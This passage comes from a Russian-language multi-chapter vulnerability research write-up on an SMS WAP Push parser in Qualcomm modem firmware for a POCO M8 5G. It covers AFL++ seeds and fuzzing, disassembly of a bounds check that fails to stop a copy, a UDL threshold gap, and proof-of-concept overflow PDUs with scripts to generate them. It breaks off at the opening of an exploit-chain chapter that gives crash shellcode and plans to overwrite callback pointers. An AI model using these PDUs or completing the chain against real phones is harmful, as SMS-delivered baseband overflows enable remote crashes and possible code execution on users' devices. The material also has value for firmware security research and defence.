Для overflow через UDL gap нужно payload > 140, т.е. tp_udl - 7 > 140 → tp_udl > 147 = 0x93. Но проверка UDL не отвергает это — 0x93 < 0xa0 → pass. Значения 0x94–0xa0 (148–160) — реальный UDL gap.

Seed 05 — намеренно у нижней границы. Фаззер добирается до 0x94+ быстрее.

---

## 5.7 Seed 06 — SMSC + полные заголовки

Code:
04 91 11 22 33 40 07 91 10 32 54 76 f0
10 60 12 31 72 80 00 00 a0 06 05 04 0b 84 23 f0
Плюс 152 байт 0x44.

Code:
smsc_len = 4
tp_flags = 0x91 (UDHI + RP)
tp_oa = 07 91 10 32 54 76 f0 (7-digit international)
tp_pid = 0x10
tp_dcs = 0x60
tp_scts = 7 байт
tp_udl  = 0xa0 = 160  ← максимум по UDL check
UDH = 7 байт
payload = 160 - 7 = 153 байт → 153 > 140 → overflow!

cmp.gtu(r20, #0xa0): 0xa0 > 0xa0 — false. Проверка проходит. Но 153 > 140 → переполнение WAP_PUSH_BUF.

Это прямая демонстрация UDL gap: tp_udl = 0xa0 = 160 — последнее значение которое не отвергает cmp.gtu. И оно уже crashable.

---

## 5.8 Seed 07 — tp_udl = 0 (edge case)

Code:
01 40 00

tp_udl = 0. Harness выходит без crash. Нужен чтобы AFL++ не застрял на всех мутациях с tp_udl > 0.

---

## 5.9 Seed 08 — все нули

Code:
00 00 00 00 00 00 00 00

Базовый «мусорный» вход. Harness обрабатывает его без crash. AFL++ использует как отправную точку для burst-мутаций.

---

## 5.10 Итоговая таблица

| Seed | tp_udl | dst_port | WAP payload | Результат |
|------|--------|----------|-------------|-----------|
| 01 | - | нет | нет | exit 0 |
| 02 | 6 | 0x0B84 | 0 байт | exit 0 |
| 03 | 143 (0x8F) | 0x0B84 | 136 байт | exit 0 (ниже лимита) |
| 04 | 138 (0x8A) | 0x0B84 | 131 байт | exit 0 |
| 05 | 141 (0x8D) | 0x0B84 | 134 байт | exit 0 |
| 06 | 160 (0xA0) | 0x0B84 | 153 байт | CRASH (UDL gap) |
| 07 | 0 | - | нет | exit 0 |
| 08 | 0 | нет | нет | exit 0 |

Seed 06 — единственный который крашит до запуска AFL++. Это намеренно: он подтверждает что harness работает, и AFL++ сохранит его как crash[0] немедленно.

---

## 5.11 Размещение

Bash:
mkdir -p afl_seeds/
cp seeds/0*.pdu afl_seeds/

# Проверяем что seed 06 крашит
qemu-hexagon /tmp/sms_harness_hex < afl_seeds/06_udl_gap_crash.pdu
echo "exit: $?"   # 139

# Проверяем что остальные не крашат
for f in afl_seeds/0{1,2,3,4,5,7,8}*.pdu; do
  qemu-hexagon /tmp/sms_harness_hex < "$f" || echo "UNEXPECTED CRASH: $f"
done

---

Следующая глава — запуск AFL++ кампании и анализ результатов.


---

# Глава 6. Фаззинг: AFL++ кампания против wms_ts_decode_gw_pp

by progasm

---

Статус главы: Вся AFL++ кампания запускалась в qemu-hexagon usermode (эмуляция). На реальном устройстве POCO M8 5G не запускалась.

## 6.1 Setup

Target: sms_harness_hex (Hexagon ELF), работает под qemu-hexagon.  
AFL++ версия: 4.x, dumb mode (-n), QEMU usermode.  
Прошивка: MPSS.DE.3.1.4.c1-00319, b08 0xbbd70b48.

Команда запуска:

Bash:
AFL_NO_FORKSRV=1 \
AFL_SKIP_BIN_CHECK=1 \
AFL_SKIP_CPUFREQ=1 \
  afl-fuzz -n \
           -i afl_seeds/ \
           -o afl_out/ \
           -- qemu-hexagon /tmp/sms_harness_hex

Флаги по одному:

| Флаг | Причина |
|------|---------|
| -n | dumb mode — без coverage instrumentation. QEMU Hexagon не интегрирован с AFL++ bitmap |
| AFL_NO_FORKSRV=1 | fork server требует __afl_forkserver_init в бинаре. В нашем harness её нет — bare _start |
| AFL_SKIP_BIN_CHECK=1 | AFL++ проверяет бинарь на наличие AFL instrumentation. sms_harness_hex — не инструментирован |
| AFL_SKIP_CPUFREQ=1 | QEMU-heavy нагрузка, scaling Governor не влияет на результат |

Нет @@ — harness читает из stdin, не из файла-аргумента.

---

## 6.2 Скорость: почему 452 exec/s

Реальный результат кампании: ~452 exec/s.

Это медленно по меркам AFL++. Обычный natively-instrumented бинарь даёт 5000–50000 exec/s. Разница — QEMU overhead.

Каждая итерация:
1. AFL++ fork-exec нового процесса (без fork server — полный execve каждый раз)
2. qemu-hexagon стартует: загружает Hexagon ELF, инициализирует эмулятор
3. Выполняет ~200–500 Hexagon инструкций
4. Process exit, AFL++ читает статус

Без fork server каждая итерация — это два новых процесса (shell + qemu). С AFL_NO_FORKSRV=1 этого не избежать для данного бинаря.

Теоретический максимум с fork server и QEMU Hexagon: ~800–1200 exec/s. Но для нашего харнесса это требует встроенного __afl_persistent_loop, что несовместимо с bare _start без libc.

12.8M+ total execs за время кампании — это нормально при 452 exec/s за ~8 часов:

Code:
452 * 3600 * 8 ≈ 13,017,600 exec

---

## 6.3 Первый краш: 31ms

Первый краш нашёлся через 31 миллисекунду после старта. Это нормально для dumb mode с seed 06 (который уже crashable) в корпусе — AFL++ мутирует стартовые seeds сразу.

Файл краша:

Code:
id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3

Разбор имени:
  • sig:11 — SIGSEGV (null deref в harness: *null_ptr = 0xFF)
  • src:000004 — мутирован seed 04 (id=4, 04_udl_boundary.pdu)
  • time:31 — 31ms от старта
  • execs:56 — 56-й запуск
  • op:havoc — операция havoc (многобайтовые случайные мутации)
  • rep:3 — 3 повтора операции

Содержимое файла (hex):

Code:
04 91 11 22 33 00 06 91 10 32 54 00 00 10 60 12
3b 72 7d 00 ed

Разбор:

Code:
Offset  Hex   Значение
0x00    04    smsc_len = 4
0x01    91    tp_flags = 0x91 (UDHI + RP, SMS-DELIVER)
0x02-05 11 22 33 00   OA bytes
0x06    06    OA len
0x07    91    OA type
0x08-0B 10 32 54 00   OA digits
0x0C    00    tp_pid
0x0D    10    tp_dcs
0x0E-14 60 12 3b 72 7d 00 ed   — тут havoc смял timestamp + tp_udl

← tp_udl читается harness'ом из user_data[0] в упрощённой модели →
последний байт: ed = 0xed = 237

tp_udl = 0xed = 237. Проверка UDL: cmp.gtu(r20, #0xa0) → 237 > 160 → TRUE → должна отвергнуть. Но в sms_harness.c мы не эмулируем эту проверку — harness напрямую идёт в check_crash. wap_copy_len = tp_udl - udh_len = 237 - 7 = 230 > 140 → null deref → SIGSEGV.

Это демонстрирует: harness в dumb-режиме не знает о проверке 0xbbd20808. Он ловит крашащий путь. Реальный баг подтверждается статическим анализом (глава 8).

---

## 6.4 25601 крашей: почему все одинаковые

Финальная статистика:

Code:
crashes     : 25601 (AFL++ уникальных = 1)

AFL++ unique=1 означает: все 25601 файлов триггерят один и тот же путь исполнения до точки краша.

Причина:

1. Dumb mode — AFL++ не знает какие пути исполнения затронуты. Он не может отличить crash-через-путь-A от crash-через-путь-B. Дедупликация идёт только по сигналу (sig:11) и адресу краша. У нас краш всегда в одном месте: *null_ptr = 0xFF в функции check_crash.

2. Единственный путь к крашу: wap_dst_port == 0x0B84 && wap_copy_len > 140 → вызов check_crash → null deref по адресу 0x00000000. Адрес краша всегда одинаковый → все crashes дедуплицируются в один unique.

3. Havoc в dumb mode агрессивен: как только найден один crashable input, havoc генерирует его вариации тысячами. Без coverage-feedback AFL++ не знает что они все эквивалентны.

Что это значит для coverage-guided фаззинга: с нормальной инструментацией AFL++ увидел бы разные пути (например: wap_copy_len = 141 vs wap_copy_len = 200) и хранил бы их раздельно, направляя мутации дальше в код. В dumb mode этого не происходит.

---

## 6.5 Что AFL++ не нашёл

В dumb mode AFL++ не обнаружил:

1. UDL gap как отдельный путь: tp_udl в диапазоне 141–160 проходит через 0xbbd20808 тихо. Без coverage фаззер не знает что это другая ветка.

2. Вторичные пути в dispatch table (0xbf421b78): 849 записей в таблице диспетчеризации. Dumb mode мутирует байты, иногда попадая в другие ветки, но не систематически.

3. b11 кандидаты: 1408 функций с allocframe > 0x200 в сегменте SMS/QMI. Harness не покрывает b11 вообще.

---

## 6.6 Анализ queue

AFL++ также накапливает интересные (не крашащие) inputs в afl_out/queue/. Это inputs которые давали новое «поведение» (в dumb mode — просто разные exit codes или timeouts):

Bash:
ls afl_out/queue/ | wc -l
# зависит от кампании, типично 50–200 entries

Просмотр первых:

Bash:
for f in afl_out/queue/id:00000[0-5]*; do
  printf "%-60s  tp_udl=" "$f"
  xxd -l 20 "$f" | head -2
done

---

## 6.7 Минимизация краша

AFL++ minimal crash — убираем лишние байты сохраняя SIGSEGV:

Bash:
afl-tmin \
  -i "afl_out/crashes/id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3" \
  -o crash_minimized.bin \
  -- qemu-hexagon /tmp/sms_harness_hex

hexdump -C crash_minimized.bin

Ожидаемый минимум: 3 байта — tp_flags=0x40 (UDHI), минимальный UDH с портом 0x0B84, tp_udl > 140.

---

## 6.8 Повышение скорости: persistent loop

Для скоростного режима harness нужно переписать с __AFL_LOOP:

C:
/* В sms_harness с libc (для native AFL++) */
#include <stdlib.h>
#include <string.h>

__AFL_FUZZ_INIT();

int main(void) {
    __AFL_INIT();
    unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;

    while (__AFL_LOOP(10000)) {
        int len = __AFL_FUZZ_TESTCASE_LEN;
        if (len < 2) continue;

        sms_deliver_t s;
        memset(&s, 0, sizeof(s));
        s.smsc_len = buf[0];
        s.tp_flags = buf[1];
        /* ... */
        parse_udh(&s);
        check_crash(&s);
    }
    return 0;
}

Но это требует x86 или arm64 хоста и cross-compilation с AFL++ compiler — не Hexagon QEMU. Для текущей цели (верификация бага в прошивочном коде) QEMU-режим с 452 exec/s достаточен.

---

## 6.9 Результаты

| Метрика | Значение |
|---------|----------|
| exec/s | ~452 |
| Total execs | 12,800,000+ |
| Total crashes | 25,601 |
| AFL++ unique crashes | 1 |
| Первый краш | 31ms, exec #56 |
| Seed источник первого краша | src:000004, op:havoc |
| tp_udl первого краша | 0xed = 237 |
| Crash signal | SIGSEGV (sig:11) |

Вывод: в dumb-режиме AFL++ эффективно находит класс ошибок (WAP overflow) но не может дифференцировать пути без coverage. Для исследования прошивки b11 и b27 нужен отдельный harness с интегрированной coverage — или переход к статическому анализу.

---

Следующая глава — статический анализ прошивки: dispatch table, сегменты, backward slice.


---

# Глава 7. Статический анализ прошивки MPSS.DE.3.1.4.c1-00319

by progasm

---

## 7.1 Сегменты прошивки

Прошивка MPSS.DE.3.1.4.c1-00319 разбита на сегменты (loadable ELF segments). Интересующие нас четыре:

| Сегмент | База | Права | Содержимое |
|---------|------|-------|------------|
| b08 | 0xbbd20000 | r-x | WMS main: SMS decode, wms_ts_decode_gw_pp |
| b11 | 0xbbfa4000 | r-x | SMS/QMI dispatcher, NAS handlers |
| b27 | 0xbbb00000 | rwx | QuRT stubs, DIAG, lock functions |
| b19 | 0xbef86000 | r-- | rodata: строки, таблицы, dispatch |

b27 помечен rwx — это важно. Именно туда harness_wms.S пишет RET_OPCODE = 0x529fc000, патча стабы.

Адрес нашей цели: wms_ts_decode_gw_pp = 0xbbd70b48 (b08).

BSS данных (WMS structures): b23/b24, содержит WAP буфер по 0xc2a78ad8.

---

## 7.2 Dispatch table: 849 entries

По адресу 0xbf421b78 (b19, rodata) находится главная таблица диспетчеризации SMS/WMS.

Формат: массив из 849 записей. Каждая запись — указатель на handler функцию + ассоциированный тип сообщения.

Code:
0xbf421b78: ptr → handler_0    ; WMS_MSG_EVENT_SEND
0xbf421b7c: ptr → handler_1    ; WMS_MSG_EVENT_ACK
...
0xbf421b78 + 849*4 = 0xbf422e4c  (конец таблицы)

Как нашли: поиск по паттерну «плотный массив указателей, все в диапазоне b08/b11», с шагом 4 байта.

Bash:
# radare2: ищем плотные массивы указателей в b19
r2 -q -c '/x 20bd bbd0' modem.elf
# или через скрипт анализа плотности ptr
python3 find_dispatch.py --base 0xbef86000 --size 0x400000 modem.elf
# [+] Dense ptr array at 0xbf421b78, 849 entries

Из таблицы следует путь к wms_ts_decode_gw_pp:

Code:
dispatch[N] → wms_msg_event_mt_message_handler (b08)
    → wms_ts_decode (b08, 0xbbd5xxxx)
        → wms_ts_decode_gw_pp (b08, 0xbbd70b48)

---

## 7.3 WAP Port Array

В b19 по адресу 0xbf2054c8 — отсортированный массив WAP-портов:

Code:
0xbf2054c8: 0x0b81
0xbf2054cc: 0x0b84  ← наш WAP Push порт
0xbf2054d0: 0x0b87
0xbf2054d4: ...

Это lookup-таблица для binary search. Функция в b08 проверяет dst_port через bsearch по этому массиву — именно так детектируется WAP Push.

Дизассем участка детекции (из главы 8):

Code:
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc  ; не WAP if high byte ≠ 0x0b

Быстрая первичная проверка по старшему байту порта (0x0b), затем точный поиск по таблице.

---

## 7.4 Строки в b24

В b24 (data) найдены строки связанные с WMS/ATP:

Bash:
strings -t x modem.elf | grep -E 'sms|wap|ota|diag' | head -20

Ключевые:

Code:
atp_sms_parse_msg_callback   ← callback регистрации в ATP
ds_atp_sms.c                 ← исходный файл (DP: ds = data services)
SMS message is too large!    ← строка error-пути (но мы видели что abort не вызывается)
BAD_OTA                      ← OTA validation error
WMS_TS_DECODE_GW_PP          ← имя функции в assert-строке

Строка "SMS message is too large!" находится в b24. Кросс-ссылка на неё ведёт в функцию которая вызывается из DIAG лог-пути по адресу 0xbbb02e80. Это подтверждает: лог есть, abort нет.

Строка "WMS_TS_DECODE_GW_PP" — часть assert-macro. Assert-macro при срабатывании вызвал бы ERR_FATAL. Но баг (bounds check fail → DIAG log → jump к success path) никогда не доходит до assert.

---

## 7.5 b27: magic check

По адресу 0xbbb162cc (b27) — функция с magic check:

Code:
0xbbb162cc: r2 = memuh(r16+#0x2a)    ; читает 2 байта из структуры + 0x2a
0xbbb162d0: p0 = cmp.eq(r2, ##0x7ab1e5e7)
0xbbb162d4: if (!p0) jump error_path

0x7ab1e5e7 — magic value. memuh(r16+#0x2a) — скорее всего порт или тип сообщения из WMS-структуры. Это security check? Нет — это validation cookie, используется как sanity check для WMS slot. При r16 = WAP_slot_ptr и offset 0x2a — проверяется что слот корректно инициализирован.

В harness_wms.S slot инициализируется нулями — magic check падает, функция уходит по error_path. Это значит что harness_wms.S вызывает не полный production path. Для полного воспроизведения нужно инициализировать *(slot + 0x2a) = 0x7ab1e5e7 перед вызовом.

---

## 7.6 Кандидаты на stack smash: функции с allocframe > 0x200

Два сегмента с крупными стековыми фреймами:

| Сегмент | Функций с allocframe > 0x200 |
|---------|------------------------------|
| b08 | 700 |
| b11 | 1408 |

Это кандидаты для stack-based overflow. Метод поиска:

Bash:
# Grep по дизассему: allocframe с аргументом > 0x200
objdump -d modem.elf | grep -B1 'allocframe' | \
  python3 -c "
import sys, re
for line in sys.stdin:
    m = re.search(r'allocframe\(#(0x[0-9a-f]+)\)', line)
    if m and int(m.group(1), 16) > 0x200:
        print(line.strip())
" | wc -l

1408 функций в b11 (SMS/QMI) — с большими фреймами и входными данными из QMI протокола. Это следующая область для исследования.

---

## 7.7 CFG вокруг bbd70b48

Сокращённый CFG wms_ts_decode_gw_pp от entry до бага:

Code:
0xbbd70b48  ENTRY
    │
    ▼
0xbbd70b60  parse SMSC length
    │
    ▼
0xbbd70b80  parse TP-flags, check UDHI
    │
    ├─[no UDHI]──────────────────────────────┐
    │                                        │
    ▼                                        │
0xbbd70ba0  parse UDH loop                  │
    │                                        │
    ├─[IEI != 0x05]──→ next IE              │
    │                                        │
    ▼                                        │
0xbbd70cf4  check port high byte            │
    │                                        │
    ├─[r3 != 0x0b]───────────────────────────┤
    │                                        │
    ▼                                        │
0xbbd70d00  binary search in port array      │
    │                                        │
    ├─[port not found]────────────────────────┤
    │                                        │
    ▼                                        │
0xbbd70d84  ← BOUNDS CHECK (THE BUG)        │
    │  cmph.gtu(r24, ##0x8c)                │
    │                                        │
    ├─[r24 > 140]──→ 0xbbd70dac DIAG log    │
    │                    │                   │
    │                    ▼                   │
    │               0xbbd70db0              │
    │                    │                   │
    │    ┌───────────────┘                   │
    │    │                                   │
    └────┴──→ 0xbbd70dc8  ← SUCCESS PATH ←──┘
                 │
                 ▼
             memcpy(wap_buf, payload, r24)   ← ALWAYS EXECUTES

Ключевое: ветка fail (r24 > 140) и ветка pass (r24 ≤ 140) обе идут в 0xbbd70dc8. После DIAG лога 0xbbd70dac — jump 0xbbd70dc8. Copy выполняется при любом значении r24.

---

## 7.8 Backward slice для r24 в 0xbbd70d84

Вопрос: откуда берётся r24 в момент проверки cmph.gtu(r24, ##0x8c)?

Backward slice (ручной, по дизассему):

Code:
0xbbd70d84: cmph.gtu(r24, ##0x8c)
    ← r24 установлен где-то выше

0xbbd70d70: r24 = memb(r21+#0x1)
    ← r21 — указатель на UDH+payload область

0xbbd70ba0: r21 = r18 + udh_len + 1
    ← r18 — указатель на user_data

0xbbd70b60: r18 = r0 + smsc_len + 1  ← r0 = входной буфер
    ← r0 — первый аргумент wms_ts_decode_gw_pp

Итог backward slice:

Code:
r24 = *(входной_буфер + smsc_len + 1 + udh_len + 1 + 1)
    = tp_udl - udh_overhead

r24 полностью контролируется атакующим через поле tp_udl во входном PDU. Нет промежуточной санитизации между чтением из буфера и проверкой в 0xbbd70d84.

---

## 7.9 UDL gap: второй backward slice

По адресу 0xbbd20808 — отдельная проверка:

Code:
0xbbd20808: p0 = cmp.gtu(r20, #0xa0)
0xbbd2080c: if (p0) jump error_path

Backward slice для r20:

Code:
0xbbd20808: cmp.gtu(r20, #0xa0)
    ← r20 = tp_udl (читается напрямую из PDU байта)

Порог: 0xa0 = 160. tp_udl ≤ 160 → проходит. Но WAP буфер = 140 байт. Для tp_udl в диапазоне 141–160: UDL check молчит, bounds check в 0xbbd70d84 тоже не прерывает (DIAG + jump к success). Overflow гарантирован.

Это два независимых бага, оба нужны для полной картины:
  • 0xbbd70d84 — сломанный bounds check (не abort)
  • 0xbbd20808 — неправильный порог UDL (160 вместо 140)

---

## 7.10 Инструменты использованные при анализе

Bash:
# Загрузка в Ghidra
# Language: Hexagon:LE:32:v5:default (ближайший к v73)
# Адрес загрузки: 0xbbd20000 для b08

# Поиск dispatch table
python3 find_dispatch.py modem_b08.bin --base 0xbbd20000

# Дизассем конкретного адреса
objdump -D --start-address=0xbbd70b48 --stop-address=0xbbd70e00 \
  -m hexagon modem_b08.bin

# Поиск строк с адресами
strings -t x modem_b08.bin | grep -i "wap\|sms\|ota"

# Поиск XREFs на строку "SMS message is too large"
r2 modem_b08.bin -q -c '/iz SMS message is too large'

---

Следующая глава — нахождение и верификация уязвимости: полный дизассем бага.


---

# Глава 8. POCO M8 5G: нахождение и верификация уязвимости

by progasm

---

Статус главы: Всё описанное основано на статическом анализе прошивки MPSS.DE.3.1.4.c1-00319 и эмуляции в qemu-hexagon usermode. На реальном устройстве POCO M8 5G верификация не проводилась.

## 8.1 Цель

Device: POCO M8 5G (kunzite)  
SoC: Snapdragon 6 Gen 3 (SM6475), платформа parrot  
Прошивка: MPSS.DE.3.1.4.c1-00319  
Цель: wms_ts_decode_gw_pp в b08, адрес 0xbbd70b48

Уязвимость: bounds check в WAP Push парсере не прерывает исполнение — обе ветки (pass и fail) сходятся в одной точке. Copy выполняется при любом размере payload.

---

## 8.2 Как нашли WAP Push handler

Поиск начался с байтового паттерна. WAP Push порт 0x0B84 — в hex это 0b 84. Ищем в b08:

Bash:
# Поиск байтов 0x0b 0x84 в сегменте b08
python3 -c "
data = open('modem_b08.bin','rb').read()
base = 0xbbd20000
off  = 0
while True:
    pos = data.find(b'\x0b\x84', off)
    if pos < 0: break
    print(f'  0x{base+pos:08x}: {data[pos-4:pos+8].hex()}')
    off = pos + 1
"

Один из хитов — в коде функции по 0xbbd70cf4:

Code:
bbd70cf2: r3 = ...
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc

Значение #0x0b — старший байт порта 0x0B84. Это быстрый фильтр: если byte[2] UDH-данных не равен 0x0b — пропускаем WAP ветку. Затем идёт точная проверка по таблице 0xbf2054c8.

От этой точки к функции — шаг вверх по CFG к allocframe. Это 0xbbd70b48.

---

## 8.3 Дизассем wms_ts_decode_gw_pp

Полный путь от entry до бага:

Code:
bbd70b48:  { allocframe(#0x68) }
bbd70b4c:  { r16 = r0; r17 = r1 }          ; r0=buf_ptr, r1=buf_len
bbd70b50:  { r18 = memb(r16+#0x0) }        ; smsc_len = buf[0]
bbd70b54:  { r19 = r18 + #1 }              ; skip smsc
bbd70b58:  { r20 = memb(r16+r19) }         ; tp_udl (первый байт user_data)

; === UDL check в вызывающей (0xbbd20808) ===
; здесь уже прошли: cmp.gtu(r20, #0xa0) — пропустили если ≤ 160

; tp_flags = buf[1]
bbd70b5c:  { r21 = memb(r16+#0x1) }

; проверка UDHI бита
bbd70b60:  { p0 = tstbit(r21, #6) }
bbd70b64:  { if (!p0) jump 0xbbd70d90 }    ; нет UDHI → прыжок мимо WAP

; парсим UDH
bbd70b68:  { r22 = r19 + #1 }              ; user_data offset
bbd70b6c:  { r23 = memb(r16+r22) }         ; udh_len
bbd70b70:  { r24 = r20 - r23 - #1 }        ; wap_payload_len = tp_udl - udh_len - 1

; цикл по IE элементам UDH — поиск IEI=0x05 (Application Port)
; ... (опущено: ~15 инструкций цикла)

; когда нашли IEI=0x05:
bbd70cf4:  { r3 = memb(r21+#0x2) }         ; dst_port high byte
bbd70cf8:  { if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc }  ; ≠ 0x0b → не WAP

; полная проверка порта через b19 таблицу
bbd70cfc:  { r4 = memuh(r21+#0x2) }        ; dst_port = 16-bit
bbd70d00:  { call bsearch_port_table }      ; поиск в 0xbf2054c8
bbd70d04:  { if (r0 == #0) jump 0xbbd70dcc }  ; не найден → не WAP

; =========================================
; BOUNDS CHECK — THE BUG
; =========================================
bbd70d84:  { p0 = cmph.gtu(r24, ##0x8c) }  ; r24 vs 0x8c = 140
bbd70d88:  { if (!p0.new) jump:nt 0xbbd70dc8 }
           ;   ↑ если r24 ≤ 140 → прыжок на SUCCESS PATH 0xbbd70dc8
           ; если r24 > 140 → fall-through:

bbd70d8c:  { r2 = ##wap_buf_addr }          ; 0xc2a78ad8
bbd70d90:  { r3 = r24 }                     ; size = r24 (> 140!)
bbd70d94:  { r1 = r21 }                     ; src = payload ptr
bbd70d98:  { r0 = r2 }                      ; dst = wap_buf
; ... prepare DIAG log args
bbd70dac:  { call 0xbbb02e80 }              ; DIAG log — НЕ ABORT
bbd70db0:  { jump 0xbbd70dc8 }              ; ← прыжок на SUCCESS PATH

; SUCCESS PATH
bbd70dc8:  { r0 = ##wap_buf_addr }          ; dst
bbd70dcc:  { r1 = r21 }                     ; src = payload ptr
bbd70dd0:  { r2 = r24 }                     ; size = r24 (неограничен!)
bbd70dd4:  { call memcpy }                  ; ← ВСЕГДА ВЫПОЛНЯЕТСЯ

Суть бага: инструкция в 0xbbd70d88 — if (!p0.new) jump:nt 0xbbd70dc8 — это условный переход если r24 ≤ 140. При r24 > 140 переход не берётся, но fall-through ведёт к DIAG логу, который затем сам прыгает в 0xbbd70dc8. То же самое место куда прыгает success path. Разница между ветками: в fail-ветке вызывается DIAG лог. memcpy выполняется в обоих случаях с r24 без ограничений.

---

## 8.4 Инструкция cmph.gtu

cmph.gtu(r24, ##0x8c) — Hexagon-специфичная инструкция:

  • cmph — compare half-word (16-bit), но работает с 32-bit регистром
  • gtu — greater than unsigned
  • Результат в предикат p0
  • ##0x8c = 140 (immediate через double-IMM encoding)

Для r24 = 141: cmph.gtu(141, 140) → p0 = 1 (true).  
if (!p0.new) jump → если НЕ true → не прыгаем. Т.е. при r24 > 140 мы остаёмся в fall-through → DIAG → jump 0xbbd70dc8.

Для r24 = 139: cmph.gtu(139, 140) → p0 = 0 (false).  
if (!p0.new) jump → если не false → прыгаем в 0xbbd70dc8 напрямую.

В обоих случаях попадаем в 0xbbd70dc8.

---

## 8.5 UDL gap: 0xbbd20808

Второй баг в вызывающем контексте:

Code:
bbd20808:  { p0 = cmp.gtu(r20, #0xa0) }    ; tp_udl > 160?
bbd2080c:  { if (p0) jump error_path }      ; только > 160 отвергается

Диапазон 141–160 (0x8d–0xa0) проходит эту проверку молча.

При tp_udl = 160, UDH = 7 байт: wap_payload_len = 160 - 7 = 153. Overflow: 153 > 140.

При tp_udl = 141, UDH = 7 байт: wap_payload_len = 134. Нет overflow (134 < 140). Но при UDH = 6 байт: 141 - 6 = 135 < 140. UDL gap начинается когда tp_udl - udh_overhead > 140.

Реальная точка входа в UDL gap: tp_udl ≥ 148 при UDH = 7, или tp_udl ≥ 147 при UDH = 6.

---

## 8.6 PoC PDU

### 02_wap_push_valid.pdu — контрольный (не крашит)

Code:
04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74

Разбор: tp_udl=0x12=18, UDH=7 байт, payload=11 байт, dst_port=0x0B84. 11 < 140 → нет overflow.

### 03_wap_overflow.pdu — переполнение на 3 байта

Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  (×8.5 строк = 136 байт)
41 41 41 41 41 41 41 41

tp_udl = 0x8f = 143. UDH = 7 байт. payload = 136. Нет overflow (136 < 140). Фаззер мутирует 0x8f → 0x93 (147): payload = 140 → граница. 0x94 (148): payload = 141 → overflow 1 байт.

Для явного overflow 3 байта: tp_udl = 0x96 = 150, payload = 143.

Hex для tp_udl=0x96:

Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 96 06 05 04 0b 84 12 34
[143 байта 0x41]

---

## 8.7 Верификация через qemu-hexagon

Прямая эмуляция с harness_wms.S:

Bash:
# Собираем harness (патчит b27, вызывает реальный 0xbbd70b48)
clang-20 -target hexagon-unknown-linux-musl -nostdlib -static \
         -o /tmp/harness_wms_hex harness_wms.S

# Контрольный тест — valid WAP Push
qemu-hexagon /tmp/harness_wms_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?"   # должен быть 0

# Overflow тест
python3 -c "
import struct
# tp_udl = 150, UDH port 0x0B84, 143 байта 0x41
hdr = bytes([0x01, 0x00, 0x40, 0x06, 0x91, 0x55, 0x44, 0x33,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x96, 0x06, 0x05, 0x04, 0x0b, 0x84, 0x12, 0x34])
payload = b'\x41' * 143
import sys; sys.stdout.buffer.write(hdr + payload)
" | qemu-hexagon /tmp/harness_wms_hex
echo "exit: $?"   # 139 = SIGSEGV при наличии null deref detector

---

## 8.8 Ожидаемое поведение (статический анализ + эмуляция)

Статус: На реальном устройстве не проверялось. Вся верификация — через статический анализ прошивки и qemu-hexagon эмуляцию.

В эмуляции (qemu-hexagon): harness с null deref детектором даёт SIGSEGV при wap_copy_len > 140. Реальная функция прошивки вызывается в harness_wms.S с реальными байтами b08.

Что предполагается на реальном устройстве по результатам статического анализа:

memcpy(0xc2a78ad8, payload_ptr, 143) запишет 3 байта за пределы WAP буфера. По адресу 0xc2a78ad8 + 140 = 0xc2a78b64 — соседние поля WMS BSS структуры. Конкретно что там (next_slot_ptr, callback, или padding) — требует дальнейшего статического анализа BSS инициализации.

При tp_udl = 237 (AFL++ краш): overflow = 237 - 7 - 140 = 90 байт через несколько указателей WMS структуры. На устройстве ожидается MPSS subsystem restart:

Bash:
# Ожидаемый dmesg на устройстве (НЕ ПРОВЕРЯЛОСЬ):
# [  xxx.xxxxxx] msm_subsystem_restart: Restart sequence requested for modem
# [  xxx.xxxxxx] subsys-restart: Restarting modem

---

## 8.9 Timeline

Code:
2026-01-xx  Получена прошивка MPSS.DE.3.1.4.c1-00319
2026-02-xx  Идентифицированы сегменты b08/b11/b27/b19
2026-02-xx  Поиск по 0x0b 84 → нашли WAP handler в 0xbbd70cf4
2026-02-xx  Дизассем вверх → wms_ts_decode_gw_pp @ 0xbbd70b48
2026-03-xx  Анализ 0xbbd70d84: обе ветки → 0xbbd70dc8 (баг подтверждён)
2026-03-xx  Обнаружен UDL gap в 0xbbd20808 (160 вместо 140)
2026-03-xx  Построен sms_harness.c, первый AFL++ краш за 31ms
2026-04-xx  harness_wms.S: верификация на реальном коде прошивки
2026-05-xx  Exploit chain (глава 9)

---

Следующая глава — exploit chain: shellcode, PDU layout, векторы инъекции.


---

# Глава 9. Exploit Chain: shellcode, PDU, векторы инъекции

by progasm

---

## 9.1 Контекст исполнения

wms_ts_decode_gw_pp выполняется в QuRT task context WMS (Wireless Messaging Service). QuRT — RTOS модемного DSP, запущенного на Hexagon V73. Привилегии: DSP supervisor mode, доступ ко всем WMS структурам, DIAG, QMI, RPC каналам в MPSS.

При переполнении WAP буфера (0xc2a78ad8, 140 байт) мы пишем за его пределами в BSS WMS структур. Что именно там — зависит от смещения. При overflow ≥ 4 байта можем перезаписать указатель, который WMS дереференсирует позже.

Цель: перезаписать указатель функции или callback ptr так, чтобы при следующем WMS event управление перешло на shellcode.

---

## 9.2 Shellcode: _sc_crash

Простейший shellcode — crash для верификации. Записывает в null address → Hexagon data abort → modem subsystem restart.

Исходник (hex_shellcode.S):

Code:
_sc_crash:
    allocframe(#0x8)          ; создаём минимальный фрейм
    r0 = #0x0                 ; r0 = NULL
    memw(r0+#0x0) = r0        ; NULL write → data abort
    deallocframe
    jumpr r31

Собранный бинарь:

Code:
01 c0 9d a0   allocframe(#0x8)
00 c0 00 78   r0 = #0x0
00 c0 80 a1   memw(r0+#0x0) = r0
1e c0 1e 90   deallocframe
00 c0 9f 52   jumpr r31

